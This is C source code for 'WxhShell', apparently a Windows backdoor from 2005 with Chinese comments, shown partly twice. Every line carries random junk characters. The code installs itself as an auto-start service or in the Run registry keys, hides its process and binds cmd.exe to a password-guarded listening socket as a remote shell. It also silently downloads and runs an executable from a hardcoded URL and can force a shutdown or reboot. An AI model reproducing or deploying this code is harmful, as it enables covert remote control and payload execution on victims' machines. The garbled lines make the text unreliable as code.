    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K%/\XnCY  
    if(Boot(SHUTDOWN)) gN(kRhp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F g):>];<9  
    else { N.]~%)K:{  
    closesocket(wsh); Yc~lYz+b  
    ExitThread(0); lWJYT <kt  
    } x30|0EHYl[  
    break; A0;{$/  
    } fU%Ys9:wU  
  // 获取shell };"_Ku4#-  
  case 's': { QZ7W:%r(4  
    CmdShell(wsh); Xa ;wx3]t  
    closesocket(wsh); b">"NvlB  
    ExitThread(0); AA ~7"2e  
    break; !H c6$  
  } &6Lh>n(  
  // 退出 jw\4`NZ]  
  case 'x': { ouoIbA9X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pjV70D8$A  
    CloseIt(wsh); 4$N,|bt  
    break; [5-Ik T0  
    } g26_#4 P  
  // 离开 H|j]uLZ  
  case 'q': { '|v<^EH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zT/woiyB`  
    closesocket(wsh); =c#mR" 1  
    WSACleanup(); |t3}>+"?z  
    exit(1); g}hNsU=$5~  
    break; F/j ; q  
        } qQo*:3/];  
  } yU7XX+cB7  
  } ND=JpVkvZ?  
F &5iA\  
  // 提示信息 j1+I_   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C9k"QPE  
} \7xc*v [  
  } yEJ3O^(F  
(~F}O  
  return; "la0@/n  
} :*|So5fs  
6fBA #Kb  
// shell模块句柄 9aIv|cS?  
int CmdShell(SOCKET sock) Q($@{[lT  
{ 3]'h(C  
STARTUPINFO si; )NZ&m$I|-  
ZeroMemory(&si,sizeof(si)); efHCPj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >k=@YLj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |)O;+e\  
PROCESS_INFORMATION ProcessInfo; oHSDi  
char cmdline[]="cmd"; MDd 2B9cy[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I7|a,Q^f  
  return 0; sMJa4P>O@  
} #%OS=.V  
v!<FeLW  
// 自身启动模式 -{d(~XIo  
int StartFromService(void) f1o^:}5x  
{ xZV|QVY;  
typedef struct b!"qbC1  
{ +[S<"}ls7  
  DWORD ExitStatus; #Ak9f-pf  
  DWORD PebBaseAddress; 9nlj{(  
  DWORD AffinityMask; 6*>vie  
  DWORD BasePriority; q %tq9%  
  ULONG UniqueProcessId; i{Q,>Rt  
  ULONG InheritedFromUniqueProcessId; juM~X5b  
}   PROCESS_BASIC_INFORMATION; P^lRJB<$Q  
S4(?= ,^-  
PROCNTQSIP NtQueryInformationProcess; ,L>{(Q)  
b1=! "Y@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w`#9Re  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UA0( cK  
k4:=y9`R}$  
  HANDLE             hProcess; s6 K~I  
  PROCESS_BASIC_INFORMATION pbi; v Oo^H  
P$clSJW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?&U~X)Q  
  if(NULL == hInst ) return 0; @fVz *  
pMUUF5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y=SpIbn{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y~lOkH[z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pg<c vok  
P{2ED1T\  
  if (!NtQueryInformationProcess) return 0; .0X 5Vy  
~1,$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); = P$7 "  
  if(!hProcess) return 0; 0\"]XYOH  
< r b5'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LR"7e  
&oK&vgcj  
  CloseHandle(hProcess); jcxeXp|00  
su8()]|0x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [e:ccm  
if(hProcess==NULL) return 0; ?#ywUEY* i  
"*d%el\63  
HMODULE hMod; &&96kg3  
char procName[255]; =`V9{$i  
unsigned long cbNeeded; akgvV~5  
+~lPf.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f~p[izt  
j(_6.zf  
  CloseHandle(hProcess); 8}Maj  
np7!y U  
if(strstr(procName,"services")) return 1; // 以服务启动 7#26Smv  
^7$Q"  
  return 0; // 注册表启动 GN|xd+O_  
} nC9x N  
D r6u0rx8  
// 主模块 lOIf4  
int StartWxhshell(LPSTR lpCmdLine) -li;w tCS  
{ >+ Im:fD  
  SOCKET wsl; f+QDjJ?z  
BOOL val=TRUE; Jy]}'eE?pr  
  int port=0; 6a{b%e`  
  struct sockaddr_in door; XJ7mvLM;  
(xBWxeL~  
  if(wscfg.ws_autoins) Install(); k]A$?C0Q<%  
{r?Ly15  
port=atoi(lpCmdLine); M_;hfpJZ  
N#X(gEV  
if(port<=0) port=wscfg.ws_port; D CSTp2  
`hU 2Ss~  
  WSADATA data; Iw</X}#\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Qu|<1CrZj]  
CX>QP&Gj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >#xIqxV,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0VI[6t@  
  door.sin_family = AF_INET; E-$N!KY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "Za'K+4  
  door.sin_port = htons(port); 2wYY0=k2  
hOcVxSc.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { glNXamo  
closesocket(wsl); { %af  
return 1; ;J?zD9  
} KMV&c  
j"P}Wn  
  if(listen(wsl,2) == INVALID_SOCKET) { 4Mj cx.21  
closesocket(wsl); p+{*&Hm5  
return 1; hKQg:30<  
} XSo$;q\  
  Wxhshell(wsl); |%Ssb;M  
  WSACleanup(); Ky[-ZQQo=5  
<cR]-Yr~  
return 0; zCpXF< _C  
53?B.\  
} OjY#xO+'  
/y5a~3  
// 以NT服务方式启动 +{ {'3=x9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *JY2vq  
{ aK'%E3!~=x  
DWORD   status = 0; :*E#w"$,j  
  DWORD   specificError = 0xfffffff; koOp:7r  
kQ $.g<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1}I%yOi)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?\T):o;/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )Hlc\Mgy  
  serviceStatus.dwWin32ExitCode     = 0; X&bnyo P  
  serviceStatus.dwServiceSpecificExitCode = 0; DzK%$#{<  
  serviceStatus.dwCheckPoint       = 0; :g"U G0];  
  serviceStatus.dwWaitHint       = 0; $N17GqoC  
c UHKE\F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7V7iIbi  
  if (hServiceStatusHandle==0) return; .s>PDzM $  
w!/se;_H+w  
status = GetLastError(); .c2Zr|X  
  if (status!=NO_ERROR) ZHOh(  
{ tCP;IU$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rtgu{m02  
    serviceStatus.dwCheckPoint       = 0; /-&a]PJ  
    serviceStatus.dwWaitHint       = 0; 1 c4I`#_v  
    serviceStatus.dwWin32ExitCode     = status; ~z*A%vp6ER  
    serviceStatus.dwServiceSpecificExitCode = specificError; W*NK-F[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ojy[<  
    return; $+Vp>  
  } pe7R1{2Q_s  
DM)%=C6<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -JB~yO?0  
  serviceStatus.dwCheckPoint       = 0; a?X{k|;!7u  
  serviceStatus.dwWaitHint       = 0; M}b[;/~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zjkrne{  
} @G>Q(a*,  
!TdbD56  
// 处理NT服务事件,比如:启动、停止 *mj3  T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N13wVx  
{ v`KYhqTUl  
switch(fdwControl) \>GHc}  
{ p7d[)* L>C  
case SERVICE_CONTROL_STOP: *^ -~J/  
  serviceStatus.dwWin32ExitCode = 0; w%Tjn^d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IA?v[xu  
  serviceStatus.dwCheckPoint   = 0; b#z{["%Zp  
  serviceStatus.dwWaitHint     = 0; M?zwXmTVW0  
  { ]W>kbH Imz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 54O=9PQ  
  } )M(-EDL>Qk  
  return; 2K&5Kt/  
case SERVICE_CONTROL_PAUSE: SLMnEtyTS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hwm] l`E]  
  break; mtg3}etA  
case SERVICE_CONTROL_CONTINUE: >YW_}kd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0]^ke:(#  
  break; ~^pV>>LX|  
case SERVICE_CONTROL_INTERROGATE: 1{7*0cv$iL  
  break; (*\*7dIo  
}; v08Xe*gNU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;`MKi5g  
} W|aFEY  
q_ |YLs`  
// 标准应用程序主函数 exQU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ] M#OS$_O@  
{ j* \gD  
zw,=mpf3_  
// 获取操作系统版本 V]$J&aD  
OsIsNt=GetOsVer(); vfZ.js/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )"Vd8*e  
,Rh6( I  
  // 从命令行安装 1'{A,!  
  if(strpbrk(lpCmdLine,"iI")) Install(); BVk&TGa;[$  
yG<`7v  
  // 下载执行文件 n_X)6 s  
if(wscfg.ws_downexe) { ?$&iVN^UA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r.T!R6v}  
  WinExec(wscfg.ws_filenam,SW_HIDE); hs  m%o\  
} C:WXI;*cr  
+)eI8o0#  
if(!OsIsNt) { P,/=c(5\}  
// 如果时win9x,隐藏进程并且设置为注册表启动 ) FnJLd  
HideProc(); Y^~Dr|5%  
StartWxhshell(lpCmdLine); )k}UjU`!  
} >SR! *3$5  
else chr^>%Q_  
  if(StartFromService()) @3F4Lg6H|  
  // 以服务方式启动 -l# h^  
  StartServiceCtrlDispatcher(DispatchTable); a J&)-ge  
else 3Bk_4n  
  // 普通方式启动 FV->226o%  
  StartWxhshell(lpCmdLine); #nOS7Q#uW  
}pzUHl>  
return 0; =5jng.  
} lQSKY}h  
)LP=IT  
93aRWEu3  
`/0S]?a.{B  
=========================================== eJ3w}"?9s  
`x0GT\O2-  
hH|moj]  
..g?po  
,xeJf6es  
;$Q&2}L[  
" r(#]Z   
9+o`/lk1  
#include <stdio.h> mDT"%I"4j  
#include <string.h> <:rbK9MIl  
#include <windows.h> "ApVgNB  
#include <winsock2.h> 8I X,q  
#include <winsvc.h> 7;T6hKWV[  
#include <urlmon.h> J XKqQxZ[X  
2# y!(D8  
#pragma comment (lib, "Ws2_32.lib") X pH]CF  
#pragma comment (lib, "urlmon.lib") =I}8-AS~V  
Bi'qy]%  
#define MAX_USER   100 // 最大客户端连接数 uGxh}'&  
#define BUF_SOCK   200 // sock buffer  gh{Z=_  
#define KEY_BUFF   255 // 输入 buffer */ ~_3  
vCB0 x:/  
#define REBOOT     0   // 重启 E~y@ue:  
#define SHUTDOWN   1   // 关机 1D6F WYV8  
0A}'@N@G)  
#define DEF_PORT   5000 // 监听端口 ~F ,mc.  
-J$,W`#z  
#define REG_LEN     16   // 注册表键长度 ~x:B@Ow  
#define SVC_LEN     80   // NT服务名长度 CE'd`_;HLn  
>8*J ;(:W  
// 从dll定义API hZ ve8J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dP0%<Q|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QX]~|?q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M+akD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PSM~10l,  
CSC sJE#4  
// wxhshell配置信息 *}hx9:9\B  
struct WSCFG { srbU}u3VZ  
  int ws_port;         // 监听端口 E mUA38  
  char ws_passstr[REG_LEN]; // 口令 =68CR[H  
  int ws_autoins;       // 安装标记, 1=yes 0=no E9]/sFA-]  
  char ws_regname[REG_LEN]; // 注册表键名 ZT \=:X*e  
  char ws_svcname[REG_LEN]; // 服务名 {b<;?Dus^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jC;^ 2e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EPE9HvN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [-*1M4D9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?'@tx4#v\2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xM dbS4&!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (H\)BS7#R  
oY#62&wk4  
}; |N{?LKR %  
zuq7 x7  
// default Wxhshell configuration :slVja$e  
struct WSCFG wscfg={DEF_PORT, -/k;VT|  
    "xuhuanlingzhe", )9.i'{{ 0  
    1, iL%Q@!ka  
    "Wxhshell", m3cO { 1I  
    "Wxhshell", 23F<f+2S  
            "WxhShell Service", 01 vEt  
    "Wrsky Windows CmdShell Service", v7i5R !  
    "Please Input Your Password: ", B-@ ]+W  
  1, &K1\"  
  "http://www.wrsky.com/wxhshell.exe", o:E_k#Fi  
  "Wxhshell.exe" <K$X>&Ts  
    }; ? x*Ve2+]  
7~2/NU?  
// 消息定义模块 Zr&~gXmVS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jP]I>Tq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3kl<~O|Fs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f^tCD'Vmi  
char *msg_ws_ext="\n\rExit."; IwE{Zvr  
char *msg_ws_end="\n\rQuit."; [%8t~zg  
char *msg_ws_boot="\n\rReboot..."; V8aLPJ0_  
char *msg_ws_poff="\n\rShutdown..."; ((2 g  
char *msg_ws_down="\n\rSave to "; NaR/IsN8%  
8op,;Z7Y  
char *msg_ws_err="\n\rErr!"; ~s :M l  
char *msg_ws_ok="\n\rOK!"; DQ<{FN  
8hTtBa  
char ExeFile[MAX_PATH]; J^Dkx"1GD  
int nUser = 0; y?t2@f]!XK  
HANDLE handles[MAX_USER]; *$t<H-U-  
int OsIsNt; (&=<UGY(w  
_;;'/rs j  
SERVICE_STATUS       serviceStatus; E!~Ok  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "1<>c/h  
<`B4+:;w6  
// 函数声明 -R~!N#y  
int Install(void); `30og]F0YJ  
int Uninstall(void); V! sT2  
int DownloadFile(char *sURL, SOCKET wsh); K%XQdMv  
int Boot(int flag); $yZ(c#L  
void HideProc(void); ; W/K7}  
int GetOsVer(void); \Bg;^6U  
int Wxhshell(SOCKET wsl); ),G?f {`!  
void TalkWithClient(void *cs); 5pOb;ry")`  
int CmdShell(SOCKET sock); q,ry3Nr4n  
int StartFromService(void); 'w'P rM,:  
int StartWxhshell(LPSTR lpCmdLine); AI$r^t1  
]6`]+&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hcp)Q76X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F~NmLm  
A,tmy',d"  
// 数据结构和表定义 d!V;\w  
SERVICE_TABLE_ENTRY DispatchTable[] = >O{U4_j@(  
{ ^!={=No]  
{wscfg.ws_svcname, NTServiceMain}, H%!ED1zpA  
{NULL, NULL} Px!M^ T!Pi  
}; D!K){ E  
;3nR_6\  
// 自我安装 q'07  
int Install(void) )zFPf]gz  
{ &8l"Dl  
  char svExeFile[MAX_PATH]; n/ \{}9   
  HKEY key; ?r~|B/ ]  
  strcpy(svExeFile,ExeFile); duCso M/  
m+f?+c6  
// 如果是win9x系统,修改注册表设为自启动 M![aty@  
if(!OsIsNt) { (QO8_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gUfLw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nLA8Hy"8z  
  RegCloseKey(key); ;1S~'B&1Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mr5E\~K>s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @~4Q\^;NX  
  RegCloseKey(key); `}b#O}z)^  
  return 0; m&GxL T6  
    } (<= &#e?  
  } .RI{\i`  
} j k%MP6  
else { j{.P'5e@pZ  
$VWeo#b  
// 如果是NT以上系统,安装为系统服务 H5L~[\ 5t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _QD##`<  
if (schSCManager!=0) YLr<^G-v  
{ aV^wTs#2I  
  SC_HANDLE schService = CreateService 8Z=d+}Gg<  
  ( //SH=>w2  
  schSCManager, x@-bY  
  wscfg.ws_svcname, aoLYw 9  
  wscfg.ws_svcdisp, XZ@;Tyn0,  
  SERVICE_ALL_ACCESS, lJ+05\pE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZT UaF4k j  
  SERVICE_AUTO_START, MwoU>+XB  
  SERVICE_ERROR_NORMAL, QB<9Be@e  
  svExeFile, 3GH@|id  
  NULL, wVI 1sR  
  NULL, s Zan.Kc#  
  NULL, ; TaR1e0  
  NULL, N;<.::x  
  NULL d?j_L`?+  
  ); ~0mO<0~  
  if (schService!=0) -`z`K08sT  
  { d)'am 3Q  
  CloseServiceHandle(schService); F %OA  
  CloseServiceHandle(schSCManager); D1&%N{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P'.M.I@  
  strcat(svExeFile,wscfg.ws_svcname); bB|UQaCl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bITc9Hqc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N5 BC<pu  
  RegCloseKey(key); K~j&Q{yws@  
  return 0; 5dH}cXs  
    } * u_ nu>  
  } f0uzoeL<%  
  CloseServiceHandle(schSCManager); 0]x gE  
} _JlbVe[<  
} taS2b#6\+  
BPp`r_m8w}  
return 1; W/(D"[:l%  
} 3Un{Q~6h  
d$>TC(E=t  
// 自我卸载 YCJ6an  
int Uninstall(void) ^DL}J>F9G  
{ ^4Nk13  
  HKEY key; G_GPnKdd  
zTDB]z!A  
if(!OsIsNt) { Hzr<i4Y=w9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -WDU~VSU  
  RegDeleteValue(key,wscfg.ws_regname); &RRHmJI:  
  RegCloseKey(key); P\;L#2n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L5%t.7B  
  RegDeleteValue(key,wscfg.ws_regname); j2V"w&>b}  
  RegCloseKey(key); gy|L!_1Z8  
  return 0; QXXB>gOY5  
  } s}MD;V&0  
} 1Sk=;Bic  
} l(-We.:(  
else { TO&ohATp  
"O{_LOJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 72hN%l   
if (schSCManager!=0) d|GQZAEJEt  
{ (w31W[V'#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Gp0H[-oF  
  if (schService!=0) bRSE"B  
  {  U 6((  
  if(DeleteService(schService)!=0) { k)Y}X)\36  
  CloseServiceHandle(schService); ^ olaq(z  
  CloseServiceHandle(schSCManager); fE1B1j<  
  return 0; 6jv_j[[  
  } d~bZOy  
  CloseServiceHandle(schService); XLEEd?Vct9  
  } 6#A g^A  
  CloseServiceHandle(schSCManager); (@t O1g  
} "/ N ?$  
} Dj Z;LE>  
YCv)DW;  
return 1; Tr}z&efY  
} lHRs3+  
grvm2`u  
// 从指定url下载文件 (G:A^z  
int DownloadFile(char *sURL, SOCKET wsh) Gm,vLs9H$T  
{ -^ )0c  
  HRESULT hr; y v6V1gK  
char seps[]= "/"; ws"{Y+L  
char *token; ~}uv4;0l]  
char *file; 42`%D  
char myURL[MAX_PATH]; (IlHg^"  
char myFILE[MAX_PATH]; .YV{wL@cB  
*&WkorByW  
strcpy(myURL,sURL); #BB,6E   
  token=strtok(myURL,seps); ^?pf.E!F`  
  while(token!=NULL) ;[-OMGr]#  
  { <evvNSE  
    file=token; 4*k>M+o/C4  
  token=strtok(NULL,seps); ~UrKyA  
  } l@;UwnI  
#[|~m;K(w  
GetCurrentDirectory(MAX_PATH,myFILE); 4@2<dw|*h  
strcat(myFILE, "\\"); ` Aa}q(}k  
strcat(myFILE, file); 7_OC&hhL  
  send(wsh,myFILE,strlen(myFILE),0); ^!Y]l  
send(wsh,"...",3,0); MQs!+Z"m>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #Tc]L<."  
  if(hr==S_OK) 8fV.NCyE  
return 0; @vsgmz  
else nWfzwXP>_  
return 1; oXC|q-(C  
bjn: e!}  
} #[ei/p  
/_WA F90R?  
// 系统电源模块 $Hw w  
int Boot(int flag) D-{;;<nIr`  
{ 'eyzH[l,(  
  HANDLE hToken; lk.]!K$}  
  TOKEN_PRIVILEGES tkp; %7w=;]ym  
w=NM==cLj  
  if(OsIsNt) { " ^v/Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); noSkKqP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _&(\>{pm  
    tkp.PrivilegeCount = 1; xwuGJ   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -cgLEl1J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #7 )&`  
if(flag==REBOOT) { 6MCLm.L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /{)}y  
  return 0; C bWz;$r  
} UB5CvM28  
else { NCrNlH IF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Cz1Q@<)  
  return 0; / @v V^!#1  
} (/mR p  
  } m:6^yfS  
  else { 1X8P v*,  
if(flag==REBOOT) { NO)Hi)$X6Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6o5NeKZ  
  return 0; y?6J%~\WP  
} \ltbiDP2  
else { -yP|CZM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {yo{@pdX>  
  return 0; HbOLf  
} m|') A  
} O/XG}G.x|  
d4ga6N3'  
return 1; 9"W3t]  
} Yvi.l6JL  
O{vVW9Q  
// win9x进程隐藏模块 ~U;M1>  
void HideProc(void) Mb!b0  
{ w3 n6md  
`49: !M$i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }WowgY  
  if ( hKernel != NULL ) c-jE1y<  
  { A#o ~nC<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zIzL7oD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y)O88C  
    FreeLibrary(hKernel); ugu|?z*dI  
  } k)3b0T@b  
x?"+Or.h  
return; &@v&5EXOw  
} R|@?6<  
yG' 5:  
// 获取操作系统版本 < `Xt?K  
int GetOsVer(void) ^P!(* k#T  
{  JT,[;  
  OSVERSIONINFO winfo; ngt?9i;N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '?Jz8iu-  
  GetVersionEx(&winfo); ;i 'mma_!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +vr|J:  
  return 1; gAudL)X  
  else qWdob>u  
  return 0; [PIh^ DhK  
} 5cF7w  
QmKEl|/{u  
// 客户端句柄模块 nk*T x  
int Wxhshell(SOCKET wsl) kEYkd@ {  
{ n8+_Uww  
  SOCKET wsh; /;X+<Wj  
  struct sockaddr_in client; iW?z2%#  
  DWORD myID; qg06*$%  
ip+?k<]z  
  while(nUser<MAX_USER) L eu93f2  
{ &cpqn2Z  
  int nSize=sizeof(client); -=InGm\Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 20,}T)}Tm  
  if(wsh==INVALID_SOCKET) return 1; \H4$9lPk  
V;LV),R?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TWeup6k  
if(handles[nUser]==0) H5eGl|Z5]^  
  closesocket(wsh); H3xMoSs  
else u2E}DhV  
  nUser++;  vWH)W?2  
  } ,%T sfB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4[lym,8C  
Xk(p:^ R  
  return 0; YlC$L$%Zd.  
} l9Av@|  
[*K.9}+G_  
// 关闭 socket ?:Sqh1-z  
void CloseIt(SOCKET wsh) [BTOs4f  
{ PJ))p6 9  
closesocket(wsh); 3P*[ !KI  
nUser--; [9C{\t  
ExitThread(0); v.6K;TY.  
} 8U)*kmq  
.[:y`PCF  
// 客户端请求句柄 5v[2R.eT-  
void TalkWithClient(void *cs) nIqNhJ+  
{ NX&Z=ObHu}  
 6hO]eS  
  SOCKET wsh=(SOCKET)cs; S }3?  
  char pwd[SVC_LEN]; c6Z"6-}$  
  char cmd[KEY_BUFF]; s$Vz1B  
char chr[1]; >sGiDK @  
int i,j; "rnVPHnQR  
W|L#Q/ RX  
  while (nUser < MAX_USER) { !!<H*9]+W;  
3kavzB[  
if(wscfg.ws_passstr) { `D?  &)Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q\G7T{t$.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V4ybrUWK  
  //ZeroMemory(pwd,KEY_BUFF); or`D-x)+@  
      i=0; LlcH#L$  
  while(i<SVC_LEN) { $ vBFs]h  
C/!7E:  
  // 设置超时 ' j\~> a3\  
  fd_set FdRead; bo-lT-I  
  struct timeval TimeOut; |Sv}/ P-  
  FD_ZERO(&FdRead); =eQ'^3a  
  FD_SET(wsh,&FdRead); HE:]zH  
  TimeOut.tv_sec=8; (&1 56 5  
  TimeOut.tv_usec=0; 6(/*E=bOKV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ID~}pEQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fD*jzj7o ,  
&S=xSs:q.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >{{0odBF  
  pwd=chr[0]; !8I80 :e_~  
  if(chr[0]==0xd || chr[0]==0xa) { Hy b_> n  
  pwd=0; fp?/Dg"49.  
  break; C.RXQ`-P}  
  } !}hG|Y6s  
  i++; cDq*B*e  
    } 0"l`M5-KP  
+' SG$<Xv  
  // 如果是非法用户,关闭 socket &<EixDi4q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &&7&/   
} M%bD7naBq  
?h:xO\h8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |~B`[p]5H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {n{-5Y  
S|O#KE  
while(1) { ap<r )<u  
D$Ao-6QE W  
  ZeroMemory(cmd,KEY_BUFF); bR<XQHl  
1Q7]1fRu  
      // 自动支持客户端 telnet标准   %-L T56T  
  j=0; d^Rea8  
  while(j<KEY_BUFF) { m[nrr6 G"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~?Zm3zOCc2  
  cmd[j]=chr[0]; C$d b) 5-  
  if(chr[0]==0xa || chr[0]==0xd) { 1fTf+P  
  cmd[j]=0; ZU;nXqjc  
  break; tu^C<MV  
  } G5NAwpZf  
  j++; Ry40:;MYN  
    } jt0f*e YE8  
Pp.] /;  
  // 下载文件 "}2I0tM  
  if(strstr(cmd,"http://")) { Q>I7.c-M|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z,RjQTd  
  if(DownloadFile(cmd,wsh)) CQs,G8 \/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p@eW*tE  
  else C,B{7s0-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gkDXt^Ob  
